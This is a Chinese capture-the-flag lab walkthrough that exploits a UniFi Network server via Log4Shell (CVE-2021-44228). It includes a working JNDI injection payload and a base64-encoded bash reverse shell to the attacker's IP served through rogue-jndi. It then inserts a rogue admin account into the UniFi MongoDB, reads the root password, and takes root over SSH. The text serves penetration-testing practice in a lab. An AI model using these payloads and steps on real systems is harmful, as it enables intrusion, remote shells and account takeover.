打开,看第一题
问:打开了哪些端口?
回答:22,6789,8080,8443
直接用下面命令开扫
nmap -sV -Pn 10.129.58.25
第二问:
问:最大端口号的应用叫啥名?
回答:UniFI network。直接带端口访问即可,记得使用https://
第三个问题:
问:跑的软件啥版本?
回答:根据上面的图,能知道是6.4.54
第四个问题:
问:漏洞的编号是什么?
回答:cve-2021-44228。问的我是一头雾水,最后在百度上搜这个靶场的问题,然后顺着找到了这篇文章:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
打开能发现这篇文章其实就是这个靶机的答案。知道这个靶机是一个log4j漏洞然后提权,那么就是log4j的编号了。
第五个问题:
问:我们安装的maven版本是什么?
回答:3.6.3。具体原因看后面的操作。
第六个问题:
问:JDNI 在注入中利用什么协议?
回答:ldap
第七个问题:
问:使用什么工具能知道我们的攻击是成功的?
回答:tcpdump。回答这个问题需要正式开始测试这个网站。
首先根据前面获取到的ip地址(我这个地方IP变了是因为重重启了靶机),进行访问:
https://10.129.17.119:8443
会跳转到下面这个登录的界面
对登录框进行登录,然后抓包,然后发送到repeater中。其中的username以及password随意,但是remember部分修改为:
${jndi:ldap://10.10.14.187/o=tomcat}
记得将其中的IP修改为自己的。
接着看我们在remember中payload是否请求了我们的主机。首先本地监听一下获取到的vpn ip的那张网卡,看被请求了没
sudo tcpdump -i tun0
这个地方网卡要根据自己的实际情况来,直接ifconfig运行就能知道是哪张网卡。
接着将burpsuite中的数据包进行重放,能看到本地的网卡收到了信息
这说明这个靶机确实存在log4j漏洞。
这个地方的疑问是,为什么非要用tcpdump而不是nc呢?首先是我们不知道端口号,也是下一题的问题。接着就是知道了端口号,收到的信息乱码,大家可以试试。
第八个问题:
问:我们需要检查哪个端口的流量?
回答:389,因为这是ldap的端口。
至此,我们验证了靶机存在漏洞,下面要根据log4j漏洞来进行getshel并提权拿到key。
通过log4j漏洞拿到shell需要借助以下脚本:
https://github.com/veracode-research/rogue-jndi
我们通过以下命令安装脚本并构建好服务器
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
出现以下界面说明构建完成(注意这个地方maven可能需要自己安装,而且用git获取也比较慢,一旦你下载了maven,你能通过mvn -version得出maven的版本为3.6.3,就是第六个问题的答案)
接着在命令行中将获取shell的脚本base64编码,注意替换为自己的ip地址
echo 'bash -c bash -i >&/dev/tcp/10.10.14.53/4444 0>&1' | base64
接着使用java将前面生成的base64填入下面的命令,同时记得更换为自己的地址
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.53"
出现如下界面表示运行成功
本地监听一下4444端口
nc -lnvp 4444
在burpsuite中重新发送一次,注意发送的请求,其中remember中的ip应该是自己的ip,我这个地方又变了是因为我又重新启动了靶机。
此时nc中会拿到目标机器的shell,而且用户是unif,以上步骤的整体操作如下:
接着升级为交互式shell,以方便的进行下一步
script /dev/null -c bash
继续看问题,第九个
问:,mongodb跑在哪个端口上?
回答:27117,使用以下命令查看
ps aux | grep mongo
第十个问题:
问:unifi的默认数据库名是什么?
答案:ace,可以搜到,见:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html。这个链接也是做后面题目的一个指导。
知道了用户名后,我们可以通过终端连接进数据库
mongo --port 27117 ace
成功进入数据库。
看第十一个问题:
问:枚举数据库的所有用户的函数是什么?
回答:db.admin.find()。执行结果如下:
第十二个问题:
问:mongodb中增加数据的函数是什么?
回答:db.admin.insert()
第十三个问题:
问:mongodb中更新数据的函数是什么?
回答:db.admin.update()
经过上面两个题目,我们大概能猜出来后面的思路是更新最高权限用户的密码,然后进到unifi的后台看看。
在添加用户之前,我们先要生成自己的密码,使用以下命令生成,记得最后是密码,自己更换为自己的。
mkpasswd -m sha-512 pilgrim
然后我们把密码以及用户名插入进去
db.admin.insert({ "email" : "pilgrim@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$tVIuEdsp/Y4m8DBy$Dw6.glWpTSPKyxICzmNy.sSrJ9.EXzTsWbK8mKHd8z5njxPwZOi9pcGYgIjI0Ee./JFnES17WMLGexOiABG6m0" })
能看出执行成功,接着查找所以用户,然后获取到刚才添加的用户的objectid。
db.admin.find().forEach(printjson);
查看一下网站的用户的详细信息
db.site.find().forEach(printjson);
将我们插入的用户绑定到这个网站上去,其中的admin_id就是自己添加的用户的id,site_id就是上面获取的id
db.privilege.insert({ "admin_id" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });
如下执行成功
接着去后台登录的页面登录刚才的账号,记得账户名是unifi-admin,密码是自己设置的密码。这个地方要好久好久,等吧,多换几个浏览器试试也行。在setting中能知道root的密码如下:
NotACrackablePassword4U2022
这是第十四个问题的答案
直接ssh过去,确实是root权限
那么直接找flag了。
cat /root/root.txt #root账户的flag
cat /home/michael/user.txt #用户的flag
结束了。
参考了以下内容:
https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
https://www.youtube.com/watch?v=NLf1xzdlfCE
https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html